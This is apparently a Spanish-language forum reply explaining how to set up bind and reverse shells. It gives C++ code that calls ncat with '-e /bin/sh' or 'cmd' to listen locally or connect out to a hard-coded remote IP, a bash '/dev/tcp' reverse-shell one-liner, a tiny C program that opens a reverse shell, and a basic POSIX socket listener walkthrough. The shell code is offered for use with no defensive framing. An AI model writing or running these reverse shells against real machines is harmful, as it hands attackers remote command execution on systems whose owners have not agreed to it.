Necesitas 2 programas. Un cliente y un servidor. Puede ser conexión directa, el objetivo tiene los puertos abiertos. O conexión inversa, tu tienes los puertos abiertos. También se puede sin abrir puertos pero requiere de settup, proxy y tunelaje.
Puedes usar sockets o alguna librería/software como netcat o includo bash/batch, perl, php, etc. Facilita mucho.
Un ejemplo:
#include <string>
using namespace std;
#define PUERTO static_cast<string>("9090")
#define IP static_cast<string>("127.0.0.1")
#define REVERSE_IP static_cast<string>("93.184.216.34")
void BindShell(string);
int main() {
string comando = "";
#ifdef __linux__ /* LINUX */
/* Bind Local Shell */
BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
/* Bind Remote Shell */
BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
/* Bind Remote Shell Bash */
BindShell("bash -i >& /dev/tcp/" + REVERSE_IP + "/" + PUERTO + " 0>&1");
#else /* WINDOWS */
/* Bind Local Shell */
BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
/* Bind Remote Shell */
BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
#endif
return 0;
}
void BindShell(string command) {
system(command.c_str());
}
O incluso puedes compilar esto en C con gcc sin libs ni nada:
int main() {
system("ncat 127.0.0.1 9090 -e /bin/sh"); return 0;
}
Para sockets Linux usa <sys/socket.h> para funciones y
<netinet/in.h> para sockaddr_in.
Creas el socket (IPv4, TCP) y obtienes en retorno un file descriptor con:
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
std::cout << "Failed to create socket. Errno: " << errno << std::endl;
exit(EXIT_FAILURE);
}
exit y la constante están en <cstdlib> cout y endl en <iostream>
Después creas la dirección con sus propiedades obligadas, dirección IP, PUERTO y demás. Y bindeas el sockaddr al sockfd
sockaddr_in sockaddr;
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.s_addr = INADDR_ANY;
sockaddr.sin_port = htons(9090);
if (bind(sockfd, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) < 0) {
std::cout << "Failed to bind to port 9090. Errno: " << errno << std::endl;
exit(EXIT_FAILURE);
}
Te pones a la escucha en el socket con listen:
if (listen(sockfd, 10) < 0) {
std::cout << "Failed to listen on socket. Errno: " << errno << std::endl;
exit(EXIT_FAILURE);
}
Obtienes una conexión de la cola:
auto addrlen = sizeof(sockaddr);
int connection = accept(sockfd, (struct sockaddr*)&sockaddr, (socklen_t*)&addrlen);
if (connection < 0) {
std::cout << "Failed to grab connection. Errno: " << errno << std::endl;
exit(EXIT_FAILURE);
}
Tras obtener la conexion lees los bytes de la misma:
char buffer[8192];
auto bytesRead = read(connection, buffer, 8192);
std::cout << "The message was: " << buffer;
Por último puedes recorrer el buffer buscando algo, send para responder, cerrar el sockfd o la conexión, o lo que veas. Esto ya entra dentro de lo que quieras hacer y de tu propia implementación.
Prácticamente todo código lo hice mirando por la docu oficial de <sys/socket.h>